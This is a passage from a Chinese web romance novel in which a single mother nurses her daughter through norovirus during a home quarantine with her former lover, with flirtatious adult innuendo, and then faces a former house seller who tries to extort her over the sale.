温昭宁的家是一栋典型的农家小院,白墙黑瓦,院子里种着几畦应季蔬菜,墙角堆着些农具和柴火。堂屋不大,但收拾得干净整洁,老旧的家具擦拭得光亮,柜子上还摆着一束小野花。 这些细节都说明,温家虽然落魄了,但温家两位女士对生活没有失去热爱和信心。 贺淮钦的房间母亲姚冬雪已经提前收拾好了,那是二楼最东边向阳的一个小房间,温昭宁给青柠预留的,她想着之后等青柠大一点了,要分房睡了,就让她住这个房间。 房间家具简单,一张原木床、一个衣柜和一张书桌,床单被褥是洗得发软的棉布,带着阳光晒过的干净气息,窗台上一盆小绿萝,生机勃勃。 “洗漱用品都在浴室的抽屉里,家里简陋,这几天委屈贺先生了。”温昭宁说。 “很好。”贺淮钦把自己的行李箱和笔记本电脑放下,推开木窗,望了一眼窗外的风景。 窗外一片绿油油的菜田,风一吹,果蔬摇晃,扑面而来的治愈感。 是真的很好。 他喜欢这里,尤其,温昭宁的房间就在隔壁。 -- 温昭宁安顿好贺淮钦,就回到房间去照看青柠了。 青柠睡着了,小脸蛋变得红扑扑的,温昭宁预感不对劲,拿体温计一测,果然,发烧了。 三十八度。 鉴于青柠小时候有高热惊厥史,温昭宁不敢耽误,立刻将青柠叫醒,给她喂退烧药。 青柠迷迷糊糊的,但还是很乖地配合吃了药,可这药刚吃进去没多久,她又“哇”的一下全都吐了出来。 温昭宁眼疾手快,连忙拿过早已准备好的小塑料盆接住,这一次,因为青柠胃里已经没有什么东西了,吐出来的主要是些酸水。 “妈妈……难受……”青柠伏在枕头上哭起来,“好难受……” “乖,青柠再坚持一下,我们马上就能打败病毒了。”温昭宁柔声安抚着青柠,恨不得能替她生病。 隔壁的贺淮钦听到动静,立刻过来查看。 他洗过澡,换过衣服了,整个人清清爽爽的,带着一丝居家感。 “又吐了?” “嗯,她发烧了,我想给她吃退烧药,结果药一吃进去,就又吐了。” “多少度?” “三十八度。” 贺淮钦走到青柠身边,探了探她的额头,可能是因为刚刚又吐又哭用了力,她的额头泛起一层薄汗,额头上的热度退了些。 “再测测。”他说。 温昭宁拿了耳温枪过来,给青柠重新测了测体温,三十七度五,的确下去了些。 “别太担心,我刚刚问过邵一屿了,他说过程中发点低烧是正常的,让孩子饿一饿,适当补液,一到三天就能好。” 温昭宁点点头。 贺淮钦在旁站了一会儿,看到温昭宁脚边的小塑料盆,挽起衣袖,俯身将塑料盆端了起来。 “你干什么?”温昭宁问。 “我去清理。” “不用了,我来。” 温昭宁抬手去抢那塑料小盆,结果一个错手,盆没抓到,先抓到了贺淮钦的手。 他的手,手指修长,骨节分明。 贺淮钦抬眸看向她,眼神泛起深意。 温昭宁被他盯得浑身一僵,大脑迟钝了几秒,手一时忘了松开。 贺淮钦回头望了一眼床上的青柠,侧身走到温昭宁的身边,用只有她听得到的声音说:“还不松开?吃我豆腐啊?” 温昭宁的手赶紧从他手背上滑过,将那小塑料盆抢了过来。 “我来清理吧贺先生,今天已经够麻烦你了。” 她说着,端上那小塑料盆,走进了洗手间。 洗手间里亮着暖黄色的灯光,映照出温昭宁有些慌乱的身影,她低着头,将青柠的呕吐物都清理干净后,又仔仔细细地洗了洗手。 可无论她怎么洗手,掌心都似乎还残留着贺淮钦手背那温热的触感。 温昭宁站在洗手台前,看着镜子中的自己,她能感觉到,自己心头被压抑的情愫,在经历过这兵荒马乱的一天后,正疯狂滋长。 她慢慢地收拢手指,这是分手后,她第一次生出了想要握住这温度的念头。 -- 温昭宁从洗手间出来,青柠睡着了。 贺淮钦搬了个凳子,坐在床边,默默地守着青柠。 “贺先生,时间不早了,你去休息吧,我来看着青柠就行了。”温昭宁对贺淮钦说。 “好,那你趁着青柠现在安稳,也休息一会儿,有事叫我。” “好。” 贺淮钦起身,往外走。 温昭宁忽然想起什么,她立刻拿起柜子上的酒精喷雾追出去。 “等一下。” 贺淮钦已经到了走廊里,听到她的声音,停下来回头看着她:“还有事?” “保险起见,我给你消个毒吧,万一被传染,你自己也受罪。” 他“嗯”了一声,然后,朝温昭宁微微张开了双臂。 不是完全张开,而是一种自然的、放松的、仿佛准备接受什么检查的姿态。 这个动作,配合他肩宽腰窄的挺拔身姿,在走廊略显昏暗的灯光下,显出一种近乎邀请的暧昧。 温昭宁有点被他勾引到了。 她避开了贺淮钦沉静的目光,垂下眼,说:“先从手开始吧。” 温昭宁先往自己的手心喷了些酒精,用力搓了搓,算是示范,也给自己消毒,然后,她握住他的手腕,将他的手掌、手背和指缝都喷洒了一遍酒精。 “另一只手。” 贺淮钦顺从地递过另一手。 喷完手,温昭宁的目光落在他的身上:“衣服也都喷一下吧?” “好。” 温昭宁退开一步,站得离他稍远一些,对着他的胸膛、肩膀、手臂外侧,仔细地喷洒。 清冽的酒精雾珠均匀地落在他深灰色的长T上,迅速泅开一小片深色的湿痕,紧贴着他的身体轮廓,勾勒出若隐若现的肌肉线条。 “还有裤子……” 贺淮钦低沉地“嗯”了一声,没有改变姿势,仿佛对她任何“处置”都全盘接受。 温昭宁蹲下身,尽量让自己的动作看起来专业而冷静。 她先喷洒他的裤腿,从大腿外侧到小腿,然后,又稍微喷了一下他的拖鞋。 蹲着的姿势,让她离他的腿更近。 她能感觉到,头顶上方贺淮钦投注下来的目光,那目光如有实质,带着灼人的温度。 酒精的味道,他身上的气息,还有这个仰视的角度所带来的对他身体线条更清晰的感知……所有的感官信息汇聚到一起,冲击着温昭宁摇摇欲坠的意志。 她的小腹,像有暗火在无声地燃烧,烧得她整个人全身血液都在升温。 忽然,贺淮钦伸手,一把握住了温昭宁的肘部,将她提了起来。 两人从一上一下,变成了几乎平视的高度。 “怎么了?”温昭宁被他吓了一跳。 贺淮钦没说话,只是看着她的眼神更炙热也更克制。 “还有一个鞋没喷呢。” 温昭宁说着,又要蹲下去,却被贺淮钦再次一把攥住。 “别!”他的声音沙哑。 “别什么?” 温昭宁作势要低头,被他用手抵住了下巴,阻止她往下看。 “你干嘛?”温昭宁只觉得贺淮钦莫名其妙,她拂开了他的手,低下头去。 视线往下的那一秒,她的脸就烧起来了。 他…… 温昭宁蹙眉瞪贺淮钦一眼,贺淮钦见她慌张,他反倒坦然了起来。 “谁让你一直蹲在那里。”他朝她靠近半步,哑着声音在她耳边说:“它认出你了。” 温昭宁:“!!!” 这人在胡说八道什么啊? 还怪起她来了! 温昭宁把酒精喷雾往他手里一塞,指了指他还没消毒的另一拖鞋。 “你自己喷吧!” 说完,赶紧折回了房间。 贺淮钦看着她的背影,自嘲一笑:“还有什么可喷的,都要重新洗澡了。” -- 青柠上半夜又吐了一次,下半夜退了烧,没有再吐,情况慢慢趋于稳定。 温昭宁守着孩子,时睡时醒,迷迷糊糊半夜。 清晨的第一缕阳光从窗帘缝中透进来,落到温昭宁的脸上时,她猛地惊醒,立刻看向身边的女儿。 青柠还在睡,但小脸已经不像昨晚那样苍白了,呼吸也均匀绵长。 温昭宁伸手探了探她的额头,温度正常,她松了一口气,见青柠没有要醒的迹象,温昭宁蹑手蹑脚地起身,去洗手间冲了个澡洗漱。 等她洗完澡吹干头发出来,青柠窸窸窣窣地醒了。 “妈妈……”青柠刚睡醒,小嗓音软糯糯的。 “宝贝,感觉怎么样了?” “没有昨天那么难受了。” “真棒,这说明我们宝贝马上就要战胜病毒了,加油哦。” 青柠点点头,然后问:“叔叔呢?” 小家伙精神头一变好,就惦着贺淮钦了。 温昭宁还没来得及回答,房间的门被轻轻推开。 “青柠,叔叔在这里。” 贺淮钦也是一晚上没睡好,前半夜他被自己蓬勃的欲望搞得睡不着,后半夜又因为时刻留意青柠的动静,没睡好。 他很早就起来了,刚准备去楼下院子里运动一下,就听到青柠在找他。 青柠看到贺淮钦,那双睡意朦胧的眼睛瞬间亮了起来:“叔叔,抱抱!” 贺淮钦大步走到床边,将青柠抱起来。 “还难受吗?” 青柠摇摇头:“不难受了,叔叔,我昨天都吐在你身上了,好脏脏哦。” 她捏着小鼻子,做出一个难闻的小表情,有点不好意思的样子。 “没关系,吐出来病就好了。” “叔叔,你昨晚在我们家里睡觉觉吗?” “是的,就在你们房间的隔壁。” “那你昨晚睡得好吗?” 贺淮钦没有马上回答,而是饶有深意地看向温昭宁。 温昭宁触到他的目光,脑海里自动闪现昨晚走廊里那尴尬的一幕。 他这么看着她是什么意思? 是因为她没有睡好吗? 可那又关她什么事,她只是帮他消个毒而已! 第67章 想给你当老公 青柠昨天没吃什么东西,胃里早就吐得空空如也,她和贺淮钦刚玩一会儿,就捂着肚子说:“妈妈,我饿了,我想吃你做的大肉包子。” 温昭宁不知道感染这个病毒第二天可不可以吃东西,正准备掏出手机搜索一下,就听贺淮钦说:“青柠,你的肠胃现在还很脆弱,只能吃一点点清淡的流食,不可以吃大肉包子。” “叔叔你怎么知道?” “我问了另一位医生叔叔。” “是上次在你家碰到的那位医生叔叔吗?”青柠见过邵一屿,“我记得那位医生叔叔挺帅的。” 贺淮钦蹙眉,邵一屿帅吗? 勉勉强强吧。 “宝贝,既然医生叔叔都交代了,那我们要听医生叔叔的话,这样才好得更快。”温昭宁说,“妈妈现在去给你煮一点白粥,好不好?” “好。” 温昭宁看向贺淮钦:“你早饭吃什么?” “我都可以,有什么吃什么。” “好。” 温昭宁下楼去,给青柠熬了一锅白粥,给贺淮钦下了一碗面。 冰箱里没什么食材了,她给母亲发了信息,让她买点菜放在大门口,虽然青柠暂时不能吃,但她和贺淮钦两个大人得吃。 母亲秒回信息:“好的,问问青柠爸爸想吃什么?” 温昭宁:“妈,好好说话。” 母亲:“不好意思,一时没想到合适的称呼。” 温昭宁还没回复,母亲下一条信息紧接着过来了:“如果他没有未婚妻该有多好,那你们一家三口就能这样好好地在一起了。” 温昭宁:“他说订婚取消了。” 母亲发来三个鼓掌的表情包:“那太好了,你俩好好处处,如果能再续前缘,那青柠也能有个完整的家了。” 温昭宁看着母亲的信息,陷入了沉思。 一切真的能这么简单实现吗? 白粥熬好后,温昭宁盛了一小碗,然后将粥碗和面碗一起放在托盘里,端上二楼。 她刚走到主卧门口,就听到里面传来青柠的声音。 “贺叔叔,你想不想看我小时候的照片?”青柠问。 “好啊,如果青柠愿意展示的话,我当然想看。”贺淮钦的声音里带着宠溺。 “那你等一下,我找找哦。”青柠从床上翻身下来,走到柜子前拉开抽屉开始翻找,她一边找一边对贺淮钦说,“我有好多好多的照片,妈妈可喜欢给我拍照了,我第一天从妈妈肚子里出来的时候,妈妈就已经开始给我记录了。妈妈说要把我每一天的样子都记下来,以后给爱我的人看。” 青柠的那些相册,放在柜子的第三个抽屉里,眼看青柠就要翻到,温昭宁赶紧推门进去。 “宝贝,粥粥熬好啦。”她在桌上放下托盘,快步走过去,将青柠抱起来,“你怎么下床不穿鞋鞋,脚底板着凉也要肚肚痛的哦。” 青柠搂住温昭宁的脖子:“妈妈,我想给贺叔叔看一下我小时候的照片,可是我找不到相册在哪儿,你能帮我找一下吗?” “那些相册外婆拿走了,都在外婆房间里。” “那你能去外婆房间里拿一下吗?” “外婆锁门了哦。” 青柠有些遗憾地看向贺淮钦:“贺叔叔,那你看不到我小时候的照片了呢,我本来还想给你看一下,我小时候没什么头发,就像是个小光头人儿一样,可搞笑了。” “叔叔小时候也没什么头发。”贺淮钦说。 “真的吗,好巧啊。”青柠说着,看向温昭宁,“妈妈,你的手机里有我小时候的照片,你快翻出来给贺叔叔看一下。” “妈妈前几天不小心删了。” “啊?”青柠失望,“好吧,那只能下次再和贺叔叔分享我小时候的照片了。” 贺淮钦看了温昭宁一眼,欲言又止。 温昭宁心虚地抱紧了青柠。 她的确是故意不让贺淮钦看到青柠小时候的照片的。 青柠一岁以前没什么头发,乍看像个小男生,也因此那时的她比现在的她像贺淮钦像得更明显。 一旦贺淮钦看到这些照片,肯定会发现端倪。 温昭宁暂时还不想让贺淮钦知道青柠的身世,至少不是眼下。 眼下他们三个人被困在这里,如果青柠的身世猝不及防被揭穿,他们连彼此冷静消化的空间都没有,到时候她该怎么面对贺淮钦?贺淮钦又该怎么面对青柠? 更何况,她和贺淮钦现在的关系也不明朗。 就算真的要说,她也要挑一个合适的时机再告诉他。 “好啦,先不说照片的事了。”温昭宁把青柠放到床上,对贺淮钦说,“你们先吃早餐吧。” 贺淮钦点点头:“好。” 温昭宁给青柠喂了点米汤,贺淮钦吃完面,主动说要下去帮忙洗碗,温昭宁也没有拦着他。 趁着贺淮钦下去洗碗的功夫,温昭宁陪青柠玩了一会儿。 阳台的洗衣机传来一阵清晰而规律的“滴滴”声,是洗衣机完成了洗涤程序后的提示音。 “青柠,你在房间里等妈妈一下,妈妈去晾一下衣服。” “好的妈妈,你快点回来哦。” “好。” 温昭宁快步去阳台,打开洗衣机的盖子,将洗衣机里面的衣物一件一件拿出来晾晒,她刚拿到自己的内衣,准备用夹子夹起来,阳台上传来了脚步声。 这个时候家里也没有别人,温昭宁一抬头,就看到贺淮钦已经走到她面前了,他高大的身影,无声无息地笼罩下来。 温昭宁有点尴尬,手里的内衣放也不是,晾也不是,就那么攥在手里,感觉有点烫手。 “有什么事吗?”温昭宁问。 “碗洗好了。” 温昭宁无语,这还需要特地过来汇报吗? “好的,麻烦你了。” 贺淮钦不说话,就这么静默地站着。 温昭宁耳根子热起来,用意念祈祷他赶紧走开,可是,贺淮钦就是站着不动。 “你还有事吗?”她又问。 贺淮钦的目光落在她的脸上:“你不希望我和青柠的关系变得更亲近吗?” “没有啊。” “那你为什么阻止我看她小时候的照片?” “我没有阻止,是真的删了。”温昭宁心脏失序地跳着,但她面上表现得很镇定。 她知道贺淮钦善洞察人心,如果她表现出心虚,他肯定会发现的。 贺淮钦不置可否,看不出来是信了,还是没信。 “我很喜欢青柠。”他又开口,神色颇为认真,每一个字都像是经过深思熟虑,“如果你打算给青柠找个新爸爸,我先排个队。” 温昭宁的心头涌起复杂的情绪。 贺淮钦这么说,是在暗示什么? 暗示他愿意接受她和青柠,哪怕青柠不是他的亲生女儿? “所以你是想给青柠当爸爸?”温昭宁看着他。 “我的第一志愿,肯定是想给你当老公。”他一本正经的,“就看你给不给我这个机会了?” 这又算什么? 求婚吗? 不不不,不至于。 温昭宁有点无所适从,她的眼神闪躲着:“你没事就别在这里晃了,我要晾衣服了。” 贺淮钦并没有逼她立刻答应或者不答应,听她说到晾衣服这个话题,他的目光坦然下移,看向她手里的那件内衣。 那是一件浅白色的蕾丝内衣,柔软的布料,简单的款式,是她一贯的风格。 贺淮钦喉咙发紧,又隐隐有了反应。 温昭宁见他一直看着她的内衣,脸更烫了几分:“你看什么看?” “我看它后面怎么没有搭扣?”贺淮钦朝温昭宁更近地迈了一步,眼神直白,语气更直白:“这我要怎么脱?” 温昭宁狠狠瞪他一眼:“谁让你脱了?” “不让我脱,你想让谁脱?” “走开,我不要和你讨论这个话题!” 贺淮钦见她脸都要熟透了,没继续逗她:“我去陪青柠了。” -- 之后的两天,下了一场雨。 雨过之后,青柠也在清淡的饮食和细心的照料下,精神一天比一天好了起来,她的小脸恢复了往日红润,大眼睛也恢复了往日的晶亮灵动。 幸运的是,温昭宁和贺淮钦都没有被传染的迹象。 贺淮钦打电话问了邵一屿,诺如病毒的潜伏期是24-48小时,也就是说,他们只要再隔离48小时,如果两人都没有症状,那这次的危机就算解除了。 最后的两天,小院里每天都阳光充沛。 温昭宁和贺淮钦带着青柠下楼晒太阳,贺淮钦要处理工作,温昭宁给他搬了一张长条凳和一张小方桌放在屋檐下,让他坐在屋檐下办公,这样既不会被阳光晃眼,也能看清电脑屏幕。 而温昭宁,则抱着青柠坐在小院中央的藤椅上看绘本。 青柠的小脑袋靠在温昭宁的手臂上,听得聚精会神。 阳光透过院中那棵老槐树稀疏的枝叶,在她们身上投下斑驳跳跃的光影。 贺淮钦处理完一封邮件,端起旁边已经微凉的茶水,浅浅啜了一口,他没有起身,也没有说话,只是静静地望着温昭宁母女,光晕中宁静柔和的两个人,让他的心神得到了片刻的安抚与沉淀。 时光仿佛在这座小院里放慢了脚步。 贺淮钦也是第一次真正感受到什么是现世安稳。 青柠听完了绘本故事,没有立刻去玩,而是靠在温昭宁的怀里,歪头向贺淮钦工作的方向望去。 她看看贺淮钦,又看看温昭宁,目光在两人之间转着圈圈。 忽然,她伸出小手,拉了拉温昭宁的衣角。 “妈妈,我觉得这次生病,我好幸福啊。”青柠的小脸上绽开一个满足的笑容。 “傻孩子,说什么呢?生病怎么会是幸福的事情呢?生病多难受啊,妈妈看你又吐又没有精神,妈妈好心疼。”温昭宁把青柠往怀里揉了揉,“妈妈希望青柠健健康康的,再也不生病了,那才是幸福。” 她说得认真,满眼都是一个母亲的疼惜与祈愿。 青柠将小脸贴到温昭宁的耳朵旁,轻声地说:“可是生病的时候,妈妈不需要工作一直陪着我,贺叔叔也来我们家里了,也一直陪着我,你们都在我身边,给我讲故事,陪我玩……以前我生病的时候,只有妈妈一个人,这次不一样。” 温昭宁因为女儿的话,心里腾起一丝愧疚。 青柠的大眼睛又瞟了一眼贺淮钦,小声地补充道:“叔叔还给我买小马,陪我玩秋千,他好像……爸爸一样。” 最后几个字,青柠说得很轻,几乎是含在嘴里,带着点试探和不确定,却又透着独属于孩子的渴望。 温昭宁想起昨天,贺淮钦说如果她打算给青柠找个新爸爸,他先排个队。 他还说,他的第一志愿,是给她做老公。 她的心忽然变得摇摆起来。 “青柠,中午想吃什么?”贺淮钦处理好邮件,起身朝温昭宁她们走过来,“今天中午叔叔给你做好不好?” “哇,叔叔你会做菜吗?” “会啊。” 青柠的眼眸一下变得愈发流光溢彩起来。 这几天,都是温昭宁下厨做菜,贺淮钦洗碗,青柠一直以为,贺淮钦不会做菜,只会洗碗,没想到,他竟然还会烧菜。 如果叔叔会做菜的话,那妈妈和叔叔结婚,妈妈就不用在厨房里辛苦啦。 青柠对贺淮钦的好感直线上升。 “我今天不想喝粥吃烂面条了。”青柠的小馋虫都被这几天清淡的饮食给逼出来了,“我今天想吃番茄炒鸡蛋和糖醋排骨。” “可以,但糖醋排骨不能多吃,只能先吃两块解解馋哦。”贺淮钦哄道,“等你好了,我们再大口吃肉肉好不好?” “好!” 贺淮钦走进厨房。 “围裙在哪儿?”他推开窗户问小院里的温昭宁。 温昭宁赶紧跟进去:“你真的要做菜啊?要不还是我来吧,这个厨房里的油盐酱醋放在哪儿你都不熟悉。” 最主要是,他满身矜贵,和这个朴素的厨房完全不搭调。 “那你先带我熟悉一下。”贺淮钦说着,就去翻找调料,“我都答应青柠给她做番茄炒蛋和糖醋排骨了,你不得给我个机会在青柠面前露一手?” “你在不在她面前露一手,她都已经够喜欢你了。” “不,不够。”贺淮钦冲温昭宁眨眨眼,“我可是青柠新爸爸的首位候选人,我当然得让小家伙三百六十度全方位地认可我啊。” 温昭宁:“……” 第68章 同居这么多天 贺淮钦做了四菜一汤。 除了青柠要吃的番茄炒鸡蛋和糖醋排骨,他还做了两个温昭宁爱吃的菜和一个汤。 几道菜摆在干净的木质餐桌上,糖醋排骨色泽红亮,汤汁浓稠,撒着芝麻。番茄炒蛋红黄相间,点缀着绿色的葱花,看起来也十分诱人。 青柠迫不及待地爬上她的专属小椅子,眼睛里满是兴奋和期待。 “贺叔叔好厉害,这些菜看起来好好吃!” “那青柠赶紧尝尝吧。” “好。” 青柠夹起一块小排骨,小心地吹了吹,送进嘴里。 “唔,好好吃!”她竖起大拇指欢呼,“酸酸甜甜的,超级美味!” 贺淮钦给温昭宁递了一双筷子:“你也尝尝。” 温昭宁也夹起一块排骨,的确,酸甜适口,火候恰到好处,不输外面饭店。 “怎么样?”贺淮钦问。 “好吃。” “妈妈,你要说超级好吃,超级是对这道菜的最高评价。”青柠是捧场王。 温昭宁笑起来,学着青柠朝贺淮钦竖起大拇指:“超级好吃!” 贺淮钦也笑了,他给青柠和温昭宁分别又夹了一块排骨放到碗里。 三人一起吃饭,气氛最是融洽的时候,一阵突兀的手机铃声响起来,打破了这温馨的宁静。 是温昭宁的手机。 屏幕上的来电显示是“庄璟奕”。 “青柠,你慢慢吃,妈妈接个电话。” “好。” 温昭宁放下筷子起身,走到院子里去接电话。 “喂,小庄。” “昭宁姐,我听雨棠姐说你女儿感染了诺如病毒,你们这几天都在居家隔离,怎么样?宝宝好点了吗?” “是的,已经好得差不多了,精神头足得很,刚刚还吃了好几块糖醋排骨。” “行,好了就好。”庄璟奕的声音带着一贯的爽朗,“我没什么其他事,就是今天上午听雨棠姐说起了,所以想着吃饭时间打个电话来慰问一下。” “好的,我替青柠谢谢你的关心。” 庄璟奕和边雨棠这几天正在策划下一个视频的主题,温昭宁顺嘴问了一句,庄璟奕大概和她说了说进度,两人就挂了电话。 温昭宁收起手机,刚准备回餐厅去继续吃饭,一转身,一道高大的身影便堵在了她的面前,距离近得让她呼吸一窒。 是贺淮钦。 他不知道什么时候离开了餐桌,悄无声息地站在了杂物间与院子相连的狭窄过道口,正好挡住了她的去路。 “怎么还在和那个男人联系?”贺淮钦蹙着眉,凛声问。 他还以为把温昭宁从助农项目调到了酒庄项目,就能斩断温昭宁和庄璟奕的牵连,没想到,他们还在煲电话粥。 “你做糖醋排骨的时候偷偷喝了一壶醋吧,这么酸。” “他打电话找你干什么?” “小庄听说青柠生病了,打电话来关心一下。” “关心一下需要煲电话粥?” “电话粥?”温昭宁亮出自己屏幕上的通话时长,“大哥,电话粥起码也得一个小时起步吧,我就和他通话三分零九秒,怎么就是电话粥了?而且,你对他这么大敌意干什么?” “对情敌没敌意,怎么显示我对你的占有欲?” 真不愧是律师,说话一套一套的。 温昭宁沉了沉气,开口:“小庄才刚大学毕业不久,他对我来说,就只是一个弟弟而已,我的确很喜欢他,但我喜欢的是他身上对工作的热情和干劲,以及和他共事时那种轻松的氛围,我和他就是单纯的同事、朋友,完全没有一点男女之情。” “你在对我解释吗?” 温昭宁说了这么多,贺淮钦就只抓到这一个点。 她索性坦然点头:“对,你就当我是在对你解释,以后不要再误会,也不要再对小庄有那么大的敌意了,你和小庄接触过你就会知道,他为人亦诚,是个不错的弟弟。” “行,我理解你喜欢这个小庄弟弟了。”贺淮钦上前一步,与她靠得更近,“那你,什么时候也喜欢喜欢我弟弟。” 他弟弟? 温昭宁只知道贺淮钦有个姐姐,并不知道他还有个弟弟。 “你哪个弟弟?”她问。 贺淮钦一把扣住她的腰,让她自己去感受。 “它还记得你,你却忘了它?” 温昭宁微微睁大了眼睛,双手撑着他的胸膛将他推开。 又发情!!! -- 隔离的第五天,也是最后一天。 这五天,就像是一场被意外抽离出现实时空的梦,短暂又失真,这五天里,他们不需要面对外面的任何人任何事,只有这个小小的农家院,一日三餐,阳光与书页,还有一种近乎“家”的温馨与平静。 然而,梦总有醒来的时刻。 最后一天晚上,青柠一想到明天贺淮钦就要从她们家里搬出去了,哭着不愿意睡觉。 温昭宁把她搂在怀里,轻声哄她:“叔叔住的民宿离我们家很近,你想看他了可以随时过去找他。” “那妈妈会允许我去找叔叔玩吗?” “允许啊。” “可你之前不允许,你让外婆不要带我去民宿。” 温昭宁一愣,原来,青柠什么都知道。 “宝贝,之前是妈妈不对,妈妈向你道歉,以后妈妈都会允许,好不好?” 青柠点点头:“那妈妈要说话算话。” “妈妈一定说话算话。”她摸摸青柠的脸蛋,“那既然妈妈都已经答应你了,你乖乖睡觉好不好?” “好,晚安妈妈。” “晚安。” 青柠虽然不舍得最后一天那么快结束,但终究抵不过汹涌的睡意,她在温昭宁的臂弯里,很快合上了眼皮睡去。 温昭宁确认女儿睡着后,轻轻退出了卧室。 贺淮钦听到声响,也从房间里走出来。 “青柠睡着了?” “嗯。” 贺淮钦和她对视了一眼,两人不约而同开始沉默。 明天开始,这样的“三人时光”将不复存在,他们两个人都会回到各自的位置,继续扮演那些被社会角色定义好的身份。 想到这里,温昭宁的心空落落的,像是有什么珍贵的东西正在指尖流逝,她却抓不住也留不下。 “青柠晚上睡觉一定要你陪着吗?”贺淮钦忽然开口问。 “嗯。” “一晚都不行吗?” “如果我妈陪她睡也可以,但我妈不在……”温昭宁猛地转头看向贺淮钦,“你问这个干什么?” 走廊里没有开灯,只有稀薄的月光。 月光下,贺淮钦的眼睛很亮,里面翻涌着她最熟悉的情欲。 温昭宁心跳加速,下意识地想要走,却被他一把握住了手腕,带进怀里。 “温老板,你说我们都同居这么多天了,是不是得有一点进展?”他在她耳边轻声地问。 “我们这是隔离,不是同居。” “不都一样?” “哪儿一样了,我……” 温昭宁话还没有说完,就被贺淮钦扣住了后脑勺,封锁住开合的唇瓣。 灼热、霸道,带着不容置疑的力道。 这个吻瞬间就夺走了温昭宁的所有的思考能力。 贺淮钦用力地汲取着她的气息,仿佛要将她整个人都吞没。 温昭宁感觉到自己的身体闪过熟悉的悸动,她想要伸手将他推开,却没有丝毫力气。 月光流淌,走廊昏暗静谧,只有两个人交缠的呼吸和唇舌间细微的声响,显得格外清晰。 贺淮钦的呼吸越来越重,手臂也越收越紧,就在那灼热的纠缠几乎要吞噬掉两人最后一丝清明时,卧室里忽然传来青柠的呼唤。 “妈妈……” 这声呼唤细细软软的,带着不安,温昭宁混沌的脑海像是被一道闪电击中,所有的迷乱、悸动和沉沦,都被理智击碎了。 她伸手,快速推开了贺淮钦。 贺淮钦扶着走廊的栏杆,喘息着,眼中尚未褪去浓烈的情欲。 温昭宁根本无暇去看他的反应,她整理了一下自己被弄乱的衣襟和头发,转身就冲进了房间。 房间里只开着一盏昏暗的小夜灯,青柠好好地睡在床上,只是眉头微微蹙着,小嘴无意识地嘟囔着什么,显然,刚才的那声“妈妈”只是睡梦中的一句含糊呓语。 温昭宁立在床边,急促的呼吸慢慢平复下来,但是唇上还残留着贺淮钦激烈吮吻后带来的灼热和微麻感。 她刚才……在做什么? 如果不是青柠及时的梦呓,她会不会失控落入贺淮钦的温情圈套? 不对,其实刚才那个吻,和她那一瞬间的沉迷与悸动就是最好的证明,证明她对贺淮钦的心防,早已松动。 -- 温昭宁结束居家隔离后,每天忙得脚不沾地。 除了民宿的事情和自媒体的日常更新,酒庄那边,也已经动工了。 她每天都要去看一眼,拍一些素材,准备在酒庄开业那天剪一个从无到有的视频。 周三那天下午,温昭宁刚从施工现场回到民宿,就接到了母亲姚冬雪的电话。 “宁宁,你赶紧回家一趟,小亮子来家里了。” “小亮子?” “就是吴亮啊,你忘了吗,你从他手上买了老房子改造的民宿。” 温昭宁当然记得,她疑惑的是,吴亮不是在青城吗?他怎么忽然回来了?还找到了她家里? “鹿鹿,我有点事先回家一趟。”温昭宁向鹿鹿交代一声,拿上手机,赶紧往家里跑去。 吴亮这次上门,不是一个人,他还带了一个男人,那个男人三四十岁的样子,戴着眼镜,提个公文包,西装革履的。 温昭宁回家的时候,母亲正在给他们两个人倒茶,她看到温昭宁,赶紧冲她使了个眼色,示意这两人来者不善。 “小亮子,好久不见。”温昭宁笑着和吴亮打招呼。 “是啊宁宁,好久不见,我都有点认不出你了,你现在怎么变得这么漂亮了?” 这是个客观事实,但不知怎么,从吴亮嘴里说出来,再配上他油腻腻的眼神,温昭宁觉得浑身不适。 她没有和他多寒暄,直截了当地问她:“你找我有什么事吗?” “找你肯定有事啊,不然宁宁你……哦不对,应该说温老板你现在日理万机的,我也不敢来打扰你啊。”他的目光打量着温昭宁,阴阳怪气地说,“把我家的老房子弄得花里胡哨的,赚了不少钱吧?” 温昭宁几乎一瞬间就猜到了吴亮的来意,她出言提醒:“这已经不是你的老房子了,这是我的民宿,我花钱从你手里合法购买,我们有合同。” “合同?”吴亮笑起来,“瞧你,刚刚还喊我小名,现在一下又和我提合同,翻脸够快的啊?” “喊你小名是因为我和你曾有童年情谊,如果你单纯只是上门来找我叙旧,我当然要笑脸相迎,但如果你目的不纯,我又何必再和你讲什么情谊?” “好好好,既然你都已经猜到我的来意了,那我也不和你拐弯抹角谈什么童年情谊了,我就直说了,当初我家房子八万块卖你,我觉得亏了,我这次来找你,是想告诉你,房子我不卖了!” “诶,你这人怎么出尔反尔啊……”母亲姚冬雪听不下去了,跳起来就要骂,被温昭宁挡到了身后。 “吴先生,我再说一次,房子是我花钱从你手里合法购买的,我们有合同。” “别提合同了,那是你趁着我急用钱,压低价骗我签的,这房子现在的价值八十万都打不住,结果你八万就拿走了,这不是诈骗是什么?” 温昭宁有种被无赖缠上了无力感,但是,她依然保持着镇定:“当初价格是你同意的,所有手续也合法合规……” “合不合法律师说了算。”吴亮打断了温昭宁的话,把他身边的男人拉出来,“这是我找来的杨律师,杨律师最懂法律,让他告诉你,手续合不合法。” 吴亮身边的男人推了推眼镜,一脸严肃地说:“温小姐,我当事人认为,当初买卖合同存在显失公平的情形,根据合同法第十四条,我的当事人吴先生有权请求变更或撤销。” “听听!听听!你这就是诈骗!”吴亮有了律师撑腰,底气更足,“宁宁,念在我们小时候一起玩耍过的情分,我今天既没有去民宿闹,也不想太为难你,就这样吧,我给你两个选择,第一,把房子归还给我,你把我的房子装修得乱七八糟还给那么多人住,我也不和你追究了,第二,房子还是给你,你继续经营,但需要再支付我八十万,一次性买断。” 第69章 灭灭火 温昭宁冷笑了一声:“你这摆明了就是要来讹我呗。” “话可不能说得那么难听。这可是我家的祖宅,我的爷爷留给我这个大孙子的,你趁我爸生病急用钱,八万块就给骗走了,再说了,没有我家这栋房子,你拿什么做生意?这段时间,你又是开民宿又是拍短视频,你肯定赚了很多,给我八十万一点都不多好吧!” “不好意思,钱没有,房子也不可能还给你了。你要是觉得我骗你了,你大可以报警抓我,去法院告我。”温昭宁很坚决。 “温昭宁,你可想好了,一旦我们正式起诉,民宿可就不能营业了,你那短视频也没有素材了,到时候,你损失的可不止八十万。”吴亮开始威胁她,“我还会去网上曝光你,让你的粉丝都知道,你是个骗子!” 温昭宁脑子里嗡嗡一片,她真没想到,幼时天真无邪、仗义帮助他人的小亮子,长大后竟然成了个泼皮无赖,亏她当初买房子的时候还念他困难多给了他五千块钱,真是良心喂了狗。 